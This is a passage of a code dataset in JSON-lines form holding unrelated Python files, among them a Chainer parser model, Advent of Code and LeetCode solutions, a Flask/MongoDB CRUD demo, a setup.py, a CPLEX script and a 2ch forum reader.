dtype=np.int32) - 1\n xp = chainer.cuda.get_array_module(logits_arc)\n if xp is not np:\n true_arcs.to_gpu()\n true_rels.to_gpu()\n\n b, n_deps, n_heads = logits_arc.shape\n logits_arc_flatten = F.reshape(logits_arc, (b * n_deps, n_heads))\n true_arcs_flatten = F.reshape(true_arcs, (b * n_deps,))\n arc_loss = F.softmax_cross_entropy(\n logits_arc_flatten, true_arcs_flatten, ignore_label=-1)\n arc_accuracy = _accuracy(\n logits_arc_flatten, true_arcs_flatten, ignore_label=-1)\n\n if use_predicted_arcs_for_rels:\n parsed_arcs = xp.argmax(logits_arc.data, axis=2)\n else:\n parsed_arcs = true_arcs.data\n parsed_arcs = chainer.cuda.to_cpu(parsed_arcs)\n b, n_deps, n_heads, n_rels = logits_rel.shape\n base1, base2 = n_deps * n_heads, np.arange(n_deps) * n_heads\n parsed_arcs_flatten = np.concatenate(\n [base1 * i + base2 + arcs for i, arcs in enumerate(parsed_arcs)])\n logits_rel_flatten = F.embed_id(\n xp.asarray(parsed_arcs_flatten),\n F.reshape(logits_rel, (b * base1, n_rels)))\n true_rels_flatten = F.reshape(true_rels, (b * n_deps,))\n rel_loss = F.softmax_cross_entropy(\n logits_rel_flatten, true_rels_flatten, ignore_label=-1)\n rel_accuracy = _accuracy(\n logits_rel_flatten, true_rels_flatten, ignore_label=-1)\n\n return {'arc_loss': arc_loss, 'arc_accuracy': arc_accuracy,\n 'rel_loss': rel_loss, 'rel_accuracy': rel_accuracy}\n\n\ndef _accuracy(y, t, ignore_label=None):\n if isinstance(y, chainer.Variable):\n y = y.data\n if isinstance(t, chainer.Variable):\n t = t.data\n xp = chainer.cuda.get_array_module(y)\n pred = y.argmax(axis=1).reshape(t.shape)\n if ignore_label is not None:\n mask = (t == ignore_label)\n ignore_cnt = mask.sum()\n pred = xp.where(mask, ignore_label, pred)\n count = (pred == t).sum() - ignore_cnt\n total = t.size - ignore_cnt\n else:\n count = (pred == t).sum()\n total = t.size\n return count, total\n\n\nclass Encoder(chainer.Chain):\n\n def __init__(self,\n word_embeddings,\n pretrained_word_embeddings=None,\n postag_embeddings=None,\n n_lstm_layers=3,\n lstm_hidden_size=None,\n embeddings_dropout=0.0,\n lstm_dropout=0.0,\n recurrent_dropout=0.0):\n super().__init__()\n with self.init_scope():\n self._use_pretrained_word = self._use_postag = False\n embeddings = [(word_embeddings, False)] # (weights, fixed)\n lstm_in_size = word_embeddings.shape[1]\n if pretrained_word_embeddings is not None:\n embeddings.append((pretrained_word_embeddings, True))\n self._use_pretrained_word = True\n if postag_embeddings is not None:\n embeddings.append((postag_embeddings, False))\n lstm_in_size += postag_embeddings.shape[1]\n self._use_postag = True\n embed_list = []\n for weights, fixed in embeddings:\n s = weights.shape\n embed_list.append(\n nn_L.EmbedID(s[0], s[1], weights, None, fixed))\n self.embeds = nn_L.EmbedList(\n embed_list, dropout=0.0, merge=False, split=False)\n if lstm_hidden_size is None:\n lstm_hidden_size = lstm_in_size\n # NOTE(chantera): The original implementation uses BiLSTM\n # with variational dropout for inputs and hidden states.\n # The same dropout is applied by the following code:\n # ---\n # self.bilstm = nn.NStepBiLSTM(\n # n_lstm_layers, lstm_in_size, lstm_hidden_size, lstm_dropout,\n # recurrent_dropout, use_variational_dropout=True)\n self.bilstm = nn_L.NStepBiLSTM(\n n_lstm_layers, lstm_in_size, lstm_hidden_size, lstm_dropout,\n recurrent_dropout, use_variational_dropout=False)\n self.embeddings_dropout = embeddings_dropout\n self.lstm_dropout = lstm_dropout\n self._hidden_size = lstm_hidden_size\n\n def forward(self, *xs):\n # [(n, d_word); B], [(n, d_word); B], [(n, d_pos); B]\n lengths = np.array([x.size for x in xs[0]], np.int32)\n rs, boundaries = self.embeds(*xs)\n rs = self._concat_embeds(rs, self.embeddings_dropout)\n # => [(n, d_word + d_pos); B]\n if np.all(lengths == lengths[0]):\n boundaries = len(lengths)\n rs = F.split_axis(\n nn_F.dropout(rs, self.lstm_dropout), boundaries, axis=0)\n hs = self.bilstm(hx=None, cx=None, xs=rs)[-1]\n hs = nn_F.dropout(F.pad_sequence(hs), self.lstm_dropout)\n return hs, lengths\n\n def _concat_embeds(self, embed_outputs, dropout=0.0):\n rs_postags = embed_outputs.pop() if self._use_postag else None\n rs_words_pretrained = embed_outputs.pop() \\\n if self._use_pretrained_word else None\n rs_words = embed_outputs.pop()\n if rs_words_pretrained is not None:\n rs_words += rs_words_pretrained\n rs = [rs_words]\n if rs_postags is not None:\n rs.append(rs_postags)\n # NOTE(chantera): The original implementation uses\n # embeddings dropout as below.\n # ---\n # rs = _embed_dropout_v1(\n # rs[0], rs[1] if len(rs) > 1 else None, dropout)\n rs = _embed_dropout_v2(rs, dropout)\n if len(rs) > 1:\n rs = F.concat(rs)\n else:\n rs = rs[0]\n return rs\n\n @property\n def out_size(self):\n return self._hidden_size * 2\n\n\ndef _embed_dropout_v1(rs_words, rs_postags=None,\n word_dropout=0.0, postag_dropout=0.0):\n \"\"\"\n Drop words and tags with scaling to compensate the dropped one.\n https://github.com/tdozat/Parser-v1/blob/0739216129cd39d69997d28cbc4133b360ea3934/lib/models/nn.py#L58 # NOQA\n \"\"\"\n if not chainer.config.train:\n return rs_words, rs_postags\n xp = chainer.cuda.get_array_module(rs_words)\n mask_shape = (rs_words.shape[0], 1)\n word_mask = xp.float32(1. - word_dropout) \\\n * (xp.random.rand(*mask_shape) >= word_dropout)\n if rs_postags is not None:\n postag_mask = xp.float32(1. - postag_dropout) \\\n * (xp.random.rand(*mask_shape) >= postag_dropout)\n word_embed_size = rs_words.shape[-1]\n postag_embed_size = rs_postags.shape[-1]\n embed_size = word_embed_size + postag_embed_size\n dropped_sizes = word_mask * word_embed_size \\\n + postag_mask * postag_embed_size\n if word_embed_size == postag_embed_size:\n embed_size += word_embed_size\n dropped_sizes += word_mask * postag_mask * word_embed_size\n scale = embed_size / (dropped_sizes + 1e-12)\n word_mask *= scale\n postag_mask *= scale\n ys_words = rs_words * word_mask\n if rs_postags is not None:\n ys_postags = rs_postags * postag_mask\n else:\n ys_postags = None\n return ys_words, ys_postags\n\n\ndef _embed_dropout_v2(xs, dropout=0.0):\n \"\"\"\n Drop representations with scaling.\n https://github.com/tdozat/Parser-v2/blob/304c638aa780a5591648ef27060cfa7e4bee2bd0/parser/neural/models/nn.py#L50 # NOQA\n \"\"\"\n if not chainer.config.train or dropout == 0.0:\n return xs\n xp = chainer.cuda.get_array_module(xs[0])\n masks = (xp.random.rand(len(xs), xs[0].shape[0]) >= dropout) \\\n .astype(xp.float32)\n scale = len(masks) / xp.maximum(xp.sum(masks, axis=0, keepdims=True), 1)\n masks = xp.expand_dims(masks * scale, axis=2)\n ys = [xs_each * mask for xs_each, mask in zip(xs, masks)]\n return ys\n","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86713269","text":"#!/usr/bin/env python3\n\n# --- Part Two ---\n\n# As a stress test on the system, the programs here clear the grid and then store the value 1 in square 1. Then, in the same allocation order as shown above, they store the sum of the values in all adjacent squares, including diagonals.\n\n# So, the first few squares' values are chosen as follows:\n\n# Square 1 starts with the value 1.\n# Square 2 has only one adjacent filled square (with value 1), so it also stores 1.\n# Square 3 has both of the above squares as neighbors and stores the sum of their values, 2.\n# Square 4 has all three of the aforementioned squares as neighbors and stores the sum of their values, 4.\n# Square 5 only has the first and fourth squares as neighbors, so it gets the value 5.\n# Once a square is written, its value does not change. Therefore, the first few squares would receive the following values:\n\n# 147 142 133 122 59\n# 304 5 4 2 57\n# 330 10 1 1 54\n# 351 11 23 25 26\n# 362 747 806---> ...\n# What is the first value written that is larger than your puzzle input?\n\nimport sys\n\nclass Direction:\n\tdef __init__(self, name, steps):\n\t\tself.name = name\n\t\tself.steps = steps\n\t\t\n\tdef increment(self, pos):\n\t\treturn (pos[0] + self.steps[0], pos[1] + self.steps[1])\n\nMATRIX_SIDE = 15\nDIRECTIONS = [\n\tDirection(\"East\", (+1, 0)),\n\tDirection(\"North\", (0, -1)),\n\tDirection(\"West\", (-1, 0)),\n\tDirection(\"South\", (0, +1))\n]\n\nfor target in sys.stdin:\n\ttarget = int(target)\n\n\tpos = (MATRIX_SIDE // 2, ) * 2\n\tmatrix = [[0] * MATRIX_SIDE for x in range(MATRIX_SIDE)]\n\tmatrix[pos[1]][pos[0]] = cellsum = 1\n\n\tdirection = 0\n\tdirection_steps = 1\n\tturns_until_increase = 2\n\tsteps_per_direction = 1\n\n\twhile cellsum < target:\n\t\tprint('%s %i %s %i %i %i' % (repr(pos), cellsum, DIRECTIONS[direction].name, direction_steps, turns_until_increase, steps_per_direction))\n\t\tpos = DIRECTIONS[direction].increment(pos)\n\t\tdirection_steps -= 1\n\t\tif direction_steps == 0:\n\t\t\tturns_until_increase -= 1\n\t\t\tif turns_until_increase == 0:\n\t\t\t\tsteps_per_direction += 1\n\t\t\t\tturns_until_increase = 2\n\n\t\t\tdirection_steps = steps_per_direction\n\t\t\tdirection = (direction + 1) % 4\n\n\t\tcellsum = 0\n\t\tfor y_rel in [-1, 0, 1]:\n\t\t\tfor x_rel in [-1, 0, 1]:\n\t\t\t\tcellsum += matrix[pos[1] + y_rel][pos[0] + x_rel]\n\t\t\t\t\t\t\n\t\tmatrix[pos[1]][pos[0]] = cellsum\n\n\tprint('%s %i %s %i %i %i' % (repr(pos), cellsum, DIRECTIONS[direction].name, direction_steps, turns_until_increase, steps_per_direction))\n","sub_path":"2017/day03_b.py","file_name":"day03_b.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8966887","text":"from flask import Flask, render_template, request\nfrom bson.objectid import ObjectId\nimport os\nimport env\nimport pymongo\n\n\napp = Flask(__name__)\n\n\n# SET UP - WHAT CLUSTER/SEVER - WHAT DATABASE - WHAT COLLECTION\nMONGO_URI = os.environ.get(\"MONGO_URI\") # What machine to speak to, who I am and my password (+ what database I want to deal with)\nDBS_NAME = \"myFirstMDB\" # What database (serie of \"tables\")\nCOLLECTION_NAME = \"movies\" # What collection (what table)\n\n\n# CONNECTING TO IT\ndef mongo_connect(url):\n try:\n conn = pymongo.MongoClient(url)\n print(\"Mongo is connected!\")\n return conn\n except pymongo.errors.ConnectionFailure as e:\n print(\"Could not connect to MongoDB: %s\") % e\n\n\n# REPRESENTS THE DATABASE SERVER\nconn = mongo_connect(MONGO_URI)\n# REPRESENTS THE COLLECTION\ncoll = conn[DBS_NAME][COLLECTION_NAME]\n\n\n@app.route(\"/\")\ndef home():\n return render_template('hello.html')\n\n\n# CRUD - Create, Read, Update, Delete\n\n\n# CREATE\n@app.route(\"/create\", methods=[\"GET\", \"POST\"])\ndef create():\n\n if request.method == 'GET':\n return render_template('create.html')\n\n if request.method == 'POST':\n # GET THE DATA FROM MY FORM (COMING FROM THE CLIENT)\n title = request.form['title']\n release_year = request.form['release_year']\n synopsis = request.form['synopsis']\n\n # BUILD MY NEW DOC TO CREATE\n my_wonderful_new_document = {'title': title,\n 'release_year': release_year,\n 'synopsis': synopsis}\n\n # SEND IT TO THE DATABASE\n coll.insert_one(my_wonderful_new_document)\n\n return render_template('created.html', document=my_wonderful_new_document)\n\n\n# READ\n@app.route(\"/read\")\ndef read():\n documents = coll.find()\n return render_template('read.html', documents=documents)\n\n\n@app.route(\"/read/\")\ndef read_one(search):\n print('~~~~~~~~~~~~~~~~~~~')\n print(search)\n doc = coll.find_one({'title': search})\n return render_template('found.html', doc=doc)\n\n\n# UPDATE\n@app.route(\"/update\")\ndef update():\n\n # What doc do I want to target for an update ?\n id_ = \"...\"\n what_doc = {'_id': ObjectId(id_)}\n\n # What is the new content for that document ?\n doc_content = {'title': 'Pulp Fiction',\n 'release_year': '1984',\n 'synopsis': 'A gangster movie'}\n\n # update it\n coll.update(what_doc, doc_content)\n\n return render_template('update.html')\n\n\n# DELETE\n@app.route('/delete')\ndef delete():\n\n # What doc do I want to target for an update ?\n id_ = \"...\"\n what_doc = {'_id': ObjectId(id_)}\n\n # remove it\n coll.remove(what_doc)\n\n return render_template('delete.html')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0',\n port=5000,\n debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"522631132","text":"from setuptools import setup, find_packages\n\nimport sys\n\nversion = open(\"version.txt\").read().rstrip()\nrequirements = [k.strip() for k in open(\"requirements.txt\").read().split()]\n\nsetup(\n name='gridtk',\n version=version,\n description='Parallel Job Manager',\n long_description=open('README.rst').read(),\n url='https://gitlab.idiap.ch/bob/gridtk',\n license='GPLv3',\n\n author='Manuel Guenther,Andre Anjos',\n author_email='manuel.guenther@idiap.ch,andre.anjos@idiap.ch',\n\n packages=find_packages(),\n include_package_data=True,\n\n install_requires=requirements,\n\n entry_points={\n 'console_scripts': [\n 'jman = gridtk.script.jman:main',\n 'jgen = gridtk.script.jgen:main',\n 'grid = gridtk.script.grid:main',\n\n # program replacements\n 'qstat.py = gridtk.script.grid:main',\n 'qdel.py = gridtk.script.grid:main',\n 'qsub.py = gridtk.script.grid:main',\n 'man.py = gridtk.script.grid:main',\n ],\n\n },\n\n classifiers = [\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',\n 'Natural Language :: English',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Topic :: System :: Clustering',\n ]\n)\n","sub_path":"pypi_install_script/gridtk-1.6.5/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"154174632","text":"\"\"\"11. Container With Most Water\nhttps://leetcode.com/problems/container-with-most-water/\n\nGiven n non-negative integers a1, a2, ..., an , where each represents a point\nat coordinate (i, ai). n vertical lines are drawn such that the two endpoints\nof the line i is at (i, ai) and (i, 0). Find two lines, which, together with\nthe x-axis forms a container, such that the container contains the most water.\n\nNotice that you may not slant the container.\n\nExample 1:\nInput: height = [1,8,6,2,5,4,8,3,7]\nOutput: 49\nExplanation: The above vertical lines are represented by array\n[1,8,6,2,5,4,8,3,7]. In this case, the max area of water (blue section) the\ncontainer can contain is 49.\n\nExample 2:\nInput: height = [1,1]\nOutput: 1\n\nExample 3:\nInput: height = [4,3,2,1,4]\nOutput: 16\n\nExample 4:\nInput: height = [1,2,1]\nOutput: 2\n\n\nExample 4:\nInput: height = [2,3,4,5,18,17,6]\nOutput: 17\n\n\"\"\"\n\nclass Solution:\n def max_area(self, height: list[int]) -> int:\n max_vol = 0\n i = 0\n j = len(height) - 1\n while i < j:\n if height[i] <= height[j]:\n vol = (j - i) * height[i]\n i += 1\n else:\n vol = (j - i) * height[j]\n j -= 1\n max_vol = max(max_vol, vol)\n return max_vol\n\n# Runtime: 676 ms, faster than 5.25% of Python3 online submissions\n# Memory Usage: 28 MB, less than 20.63% of Python3 online submissions\n\n\nif __name__ == '__main__':\n my_solution = Solution()\n height = [1,8,6,2,5,4,8,3,7]\n # height = [1,8,6,2,5,4,16,3,10]\n # height = [1, 1]\n # height = [4, 3, 2, 1, 4]\n # height = [1, 2, 1]\n # height = [2, 3, 4, 5, 18, 17, 6]\n print(\"height: {}\".format(height))\n print(\"result: {}\".format(my_solution.max_area(height)))\n","sub_path":"00/10-19/0011-container-with-most-water/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"4253728","text":"import pandas as pd\nfrom time import gmtime, strftime\nimport datetime as dt\nclass Interview_question:\n def __init__(self,filename,company,link,type):\n self.filename = filename\n self.company = company\n self.link = link\n self.type = type\n self.starttime = None\n self.endtime = None\n self.spendtime = None\n \n def setTime(self):\n FMT = \"%Y-%m-%d %H:%M:%S\"\n if self.starttime is None:\n self.starttime = strftime(FMT, gmtime())\n elif self.endtime is None:\n self.endtime = strftime(FMT, gmtime())\n spend = dt.datetime.strptime(self.endtime, FMT) - dt.datetime.strptime(self.starttime, FMT)\n self.spend = spend.seconds/60\n \n def to_csv(self):\n f = pd.read_csv(\"Interview_questions.csv\")\n \n \n\n\nx = Interview_question(\"insert_in_ordered_circular_linkedlist.py\",\"Walmartlab\", \"http://www.careercup.com/question?id=13273690\",\"Linkedlist\")","sub_path":"timesheet.py","file_name":"timesheet.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"61068472","text":"import time\r\nimport json\r\n\r\nclass NewsRank:\r\n\r\n def __init__(self, docs):\r\n \"\"\"\r\n\r\n :type docs: list\r\n \"\"\"\r\n self.docs = docs\r\n self.jsonpath = '/Users/liujingkun/Exp/python/scrapy/SearchSpider/SearchSpider/data/'\r\n self.result = []\r\n self.time_dict = {}\r\n self.create_time_dict()\r\n\r\n def create_time_dict(self):\r\n for doc in self.docs:\r\n with open(self.jsonpath+doc+'.json', 'rt', encoding='utf-8') as jsonfp:\r\n try:\r\n jsondata = json.load(jsonfp)\r\n except:\r\n continue\r\n # print(jsondata['id'])\r\n self.time_dict[doc] = jsondata['time']\r\n\r\n def ftime(self, doc):\r\n str_t = self.time_dict.get(doc)\r\n t_tuple = time.strptime(str_t, '%Y-%m-%d %H:%M')\r\n f = time.mktime(t_tuple)\r\n return float(f)\r\n\r\n def sort_by_time(self):\r\n self.result = sorted(self.docs, key=lambda doc: self.ftime(doc), reverse=True)\r\n return self.result\r\n\r\n def sort_by_heat(self, heat_dict):\r\n self.result = sorted(self.docs, key=lambda doc: heat_dict.get(doc), reverse=True)\r\n return self.result\r\n\r\nif __name__ == '__main__':\r\n nr = NewsRank([2, 3, 1])\r\n nr.sort_by_heat({1: 3, 2: 4, 3: 1})\r\n print(nr.result)\r\n nr.sort_by_time()\r\n print(nr.result)\r\n","sub_path":"webview/engine/NewsRank.py","file_name":"NewsRank.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562533142","text":"#!/usr/bin/env python3\n\"\"\"My solution to day 4 of Advent of Code\nhttp://adventofcode.com/day/4\n\"\"\"\n\nimport sys\nimport hashlib\n\nMAX_TRIES = 2**30\n\ndef mine_adventcoin(hash, start):\n i = 0\n\n while i < MAX_TRIES:\n key = (hash + str(i)).encode()\n coin = hashlib.md5(key).hexdigest()\n if coin.startswith(start):\n return i\n i += 1\n return -1\n\nif __name__ == '__main__' and len(sys.argv) > 1 and len(sys.argv[1]) > 0:\n num = mine_adventcoin(sys.argv[1], '00000')\n if num >= 0:\n print('Found number for \"00000\":', num)\n else:\n print('No number smaller than', MAX_TRIES, 'found for \"00000\"')\n\n num = mine_adventcoin(sys.argv[1], '000000')\n if num >= 0:\n print('Found number for \"000000\":', num)\n else:\n print('No number smaller than', MAX_TRIES, 'found for \"000000\"')\n","sub_path":"day4.py","file_name":"day4.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"22471925","text":"import os\nimport re\n\nfrom .base import Base, Py2chdlerError\nfrom .thread import Thread\n\nclass Board(Base):\n def __init__(self, bbsmenu, board_name, romaji_board_name, board_url):\n self.bbsmenu = bbsmenu\n self.name = board_name\n self.romaji_name = romaji_board_name\n self.url = board_url + \"subject.txt\"\n self.dir_path = self.bbsmenu.settings['base_dir'] + \"/\" + self.romaji_name\n self.filepath = self.dir_path + \"/subject\"\n self.filepath_old = self.dir_path + \"/subject_old\"\n if not os.path.exists(self.dir_path):\n os.mkdir(self.dir_path)\n elif not os.path.isdir(self.dir_path):\n raise Py2chdlerError(self.dir_path + \" is not a directory.\")\n\n def read(self):\n thread_infos = list()\n self.download(self.url, self.filepath)\n subject = set(self.read_file(self.filepath))\n if os.path.exists(self.filepath_old):\n subject_old = set(self.read_file(self.filepath_old))\n else:\n subject_old = set()\n thread_regex = '^([0-9]*)\\.dat<>(.*)\\(([0-9]*)\\)$'\n p_thread = re.compile(thread_regex)\n # list of updated subject from old_subject\n old_subject = subject_old - subject\n # process each line\n for line in subject:\n # seach thread info with regex\n r_thread = p_thread.search(line)\n # if thread info\n if r_thread:\n thread_id = int(r_thread.group(1))\n res_count = int(r_thread.group(3))\n old_res_count = res_count if subject_old else 0\n for old_line in old_subject:\n old_r_thread = p_thread.search(old_line)\n if old_r_thread:\n if thread_id == int(old_r_thread.group(1)):\n old_res_count = int(old_r_thread.group(3))\n break\n new_res_count = res_count - old_res_count\n thread_info = {'id':thread_id, 'title':r_thread.group(2), 'res_count':res_count, 'new_res_count':new_res_count}\n thread_infos.append(thread_info)\n return thread_infos\n\n def read_raw(self):\n self.download(self.url, self.filepath)\n raw_subject = self.read_raw_file(self.filepath)\n return raw_subject\n\n def get_threads(self, *thread_ids, new=True):\n threads = list()\n # list to store exist thread_ids (for error check)\n exist_thread_ids = list()\n thread_infos = self.read()\n # filter updated thread from thread infos\n if new == True:\n tmp = list()\n for thread_info in thread_infos:\n if not thread_info['new_res_count'] == 0:\n tmp.append(thread_info)\n thread_infos = tmp\n # if thread_ids is empty get all threads\n if len(thread_ids) == 0:\n for thread_info in thread_infos:\n threads = self.__append_thread(threads, thread_info)\n else:\n for thread_info in thread_infos:\n if thread_info['id'] in thread_ids:\n threads = self.__append_thread(threads, thread_info)\n if thread_id in thread_ids:\n exist_thread_ids.append(thread_id)\n # raise err if requested thread_id not exists\n if not len(thread_ids) == len(exist_thread_ids):\n err_thread_ids = set(thread_ids) - set(exist_thread_ids)\n err_thread_ids = ', '.join(err_thread_ids)\n raise Py2chdlerError(\"Thread(s) id: \" + err_thread_ids + \" are/is not exist(s). Or you may request same thread more than once.\")\n return threads\n\n def get_new_threads(self, *thread_ids):\n if thread_ids:\n threads = self.get_threads(thread_ids, new=True)\n else:\n threads = self.get_threads(new=True)\n return threads\n\n\n def get_thread(self, thread_id, new=False):\n threads = self.get_threads(thread_id, new)\n return threads[0]\n\n def get_new_thread(self, thread_id):\n thread = self.get_thread(thread_id, new=True) \n return thread\n\n def __append_thread(self, threads, thread_info):\n thread = Thread(self, thread_info['id'], thread_info['title'])\n threads.append(thread)\n return threads\n\nif __name__ == '__main__':\n import time\n from .bbsmenu import Bbsmenu\n homedir = os.path.expanduser('~')\n settings = {'base_dir': os.path.abspath(homedir + '/py2chdler/data')}\n bbsmenu = Bbsmenu(settings, 'http://menu.2ch.net/bbsmenu.html')\n boards = bbsmenu.get_boards('news4vip')\n for board in boards:\n threads = board.get_threads()\n for thread in threads:\n print(thread.title)\n","sub_path":"pytwoch/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":4788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"171947929","text":"import cplex.exceptions\n\ntry:\n my_cplex = cplex.Cplex()\n my_cplex.read(\"problem3.lp\")\n my_cplex.solve()\nexcept Exception as e:\n print(e)\n print(\"error on Cplex exception!\")\n\nprint(\"Solution value = \", my_cplex.solution.get_objective_value())\nx = my_cplex.solution.get_values()\nprint(\"three months:\")\nfor i in range(4):\n if x[i] != 0:\n print(\"month \"+str(i)+\":\"+str(x[i]))\nprint(\"four months:\")\nfor i in range(3):\n if x[i+4] != 0:\n print(\"month \"+str(i)+\":\"+str(x[i+4]))\nprint(\"five months:\")\nfor i in range(2):\n if x[i+7] != 0:\n print(\"month \"+str(i)+\":\"+str(x[i+7]))\nmy_cplex.solution.write(\"problem3_solution.txt\")\n\n","sub_path":"cplex_test/物流实验-李想2016211876/problem3.py","file_name":"problem3.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"605595730","text":"\"\"\"\r\nAuthor: Nguyen Van Hoang\r\nDate: 16/09/2021\r\nProblem:Octal numbers have a base of eight and the digits 0–7. Write the scripts octalToDecimal.\r\npy and decimalToOctal.py, which convert numbers between the octal\r\nand decimal representations of integers. These scripts use algorithms that are\r\nsimilar to those of the binaryToDecimal and decimalToBinary scripts developed in Section 4-3.\r\nSolution:\r\n\r\n ....\r\n\"\"\"\r\no_t_n = int(input('Enter a string of octal digits: '))\r\ni = 1\r\ndc = 0\r\nwhile (o_t_n != 0):\r\n rmd = o_t_n % 10\r\n o_t_n //= 10\r\n dc += rmd * i\r\n i *= 8\r\nprint('The integer value is ', dc)\r\n\"\"\"\r\n\"\"\"\r\nd_c_n = int(input('Enter a decimal integer: '))\r\nprint(\"Quotient Remainder Octal\")\r\ni = 1\r\no_c_n = 0\r\nnum = \"\"\r\nwhile (d_c_n != 0):\r\n rm = d_c_n % 8\r\n d_c_n //= 8\r\n o_c_n = o_c_n + rm * i\r\n i *= 10\r\n num = str(rm)+num\r\n print(\"%5d%8d%12s\" % (d_c_n, rm, num))\r\nprint('The octal representation is ', o_c_n)","sub_path":"page_132_project_04.py","file_name":"page_132_project_04.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"285660787","text":"# coding: utf-8\n\nfrom __future__ import unicode_literals\n\nfrom models import *\nfrom myfarm.settings import *\n\ndef create_category_top(top_tag, parent_id):\n ertongfang = top_tag.get('children', None)\n depth = 1\n create_category(ertongfang, parent_id, depth)\n\n\ndef create_category(data, parent_id, depth):\n if type(data) in (list, tuple, set):\n if len(data) == 1:\n data = data[0]\n else:\n for item in data:\n create_category(item, parent_id, depth)\n return\n try:\n tag = {\n 'no': generate_uuid(),\n 'state': 1,\n 'depth': depth,\n 'alias_name': data['name'],\n 'name': data['name'],\n 'parent_id': parent_id,\n }\n category, created = Category.objects.get_or_create(**tag)\n except:\n print(\"data:{}, parent_id:{}, depth:{}\".format(data, parent_id, depth))\n parent_id2 = category.id if category else 0\n\n children = data.get('children', None)\n if children:\n depth += 1\n for child in children:\n create_category(child, parent_id2, depth)\n\n\ndef generate_all_categories():\n categorys_tags = ITEM_TAG_SETS['AREA_TAGS']\n import json\n used_tags = [keting_tag, canting_tag, woshi_tag, shufang_tag, ertongfang_tag]\n dict_used_tags = dict()\n for tag in used_tags:\n dict_used_tags.update({tag['name']: {'tag': tag}})\n for data in categorys_tags:\n tag = {\n 'no': generate_uuid(),\n 'state': 1,\n 'depth': 1,\n 'alias_name': data['id'],\n 'name': data['name'],\n }\n category, created = Category.objects.get_or_create(**tag)\n if data['name'] in dict_used_tags.keys():\n dict_used_tags[data['name']].update({'id': category.id})\n for name, dict_value in dict_used_tags.iteritems():\n create_category_top(dict_value['tag'], dict_value['id'])\n\n\n # for i in range(5000000):\n # item = item_sample\n # item['no'] = generate_uuid()\n # item['category'] = random.sample(noes, 5)\n #\n # print(item['no'], item['category'][0])\n # Item(**item).save()\n\ndef generate_item(count=5):\n global NOes\n if not NOes:\n all_noes = Category.objects.only(\"id\") #.filter(state__in=(StateEnum.VALID, StateEnum.TEMPORARY) )\n NOes =[cat.id for cat in all_noes]\n for i in range(count):\n item = item_sample\n # print(\"item:{}\".format(item))\n item['no'] = generate_uuid()\n category_ids = random.sample(NOes, random.randint(2,5))\n # print(\"item_no:{}, category_ids:{}\".format(item['no'],category_ids))\n Item(**item).save()\n for category_id in category_ids:\n item_cat = {'category_id': int(category_id) ,\n 'item_no': item['no']}\n itemCat = ItemCategory(**item_cat)\n\n itemCat.save()\n\n\nif __name__ == '__main__':\n\n # item = Item(no=generate_uuid(), width=12, height=10, length=10, merchant=['ifuwo', '1jbest', 'yunchao'])\n # item.save()\n # item = Item()\n # item.no = generate_uuid()\n # item.product_name = 'test'\n # print item.no\n # item.save()\n # model_flag={'octane': 1, 'max': 0, 'model': 1}).save()\n # comment1 = Comment(content='Good work magic, please continue !')\n # comment1.save()\n # comment2 = Comment(content='This is my mongodb orm test, it is nice')\n # page = Page(comments=[comment1, comment2]).save()\n\n # generate_all_categories()\n\n generate_item(5000000)","sub_path":"demo/myfarm/init_models.py","file_name":"init_models.py","file_ext":"py","file_size_in_byte":3582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"158789526","text":"#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\nimport datetime\nfrom collections import defaultdict\nimport operator\nfrom helpers import *\nimport sys\nimport db\n\ndef getUser():\n\twhile 1:\n\t\tstring = input('user? ')\n\t\tsession = Session()\n\t\tuser = search_user(string, session)\n\t\tsession.close()\n\t\tif not isinstance(user, list):\t\n\t\t\treturn user.name\n\t\ti=0\n\t\tif len(user)==0:\n\t\t\tprint('no matching string')\n\t\tif len(user)==1:\n\t\t\tprint('antar: ', user[0].name, '\\n')\n\t\t\treturn user[0].name\n\t\tif len(user)>10:\n\t\t\tcontinue\n\t\tfor u in user:\n\t\t\tprint(i, u.name)\n\t\t\ti += 1\n\t\ttry:\n\t\t\tn = int(input ('enter number:'))\n\t\texcept:\n\t\t\tprint('invalid input, restarting')\n\t\t\tcontinue\n\t\tif (n>-1) and (n10:\n\t\t\tcontinue\n\t\tfor u in product:\n\t\t\tprint(i, u.name)\n\t\t\ti += 1\n\t\ttry:\n\t\t\tn = int(input ('enter number:'))\n\t\texcept:\n\t\t\tprint('invalid input, restarting')\n\t\t\tcontinue\n\t\tif (n>-1) and (narray\n\tvareUkedagAntall = defaultdict(list)\n\t#for personer\n\tpersonVareAntall = defaultdict(dict) #personVareAntall[trygvrad][Oreo] == 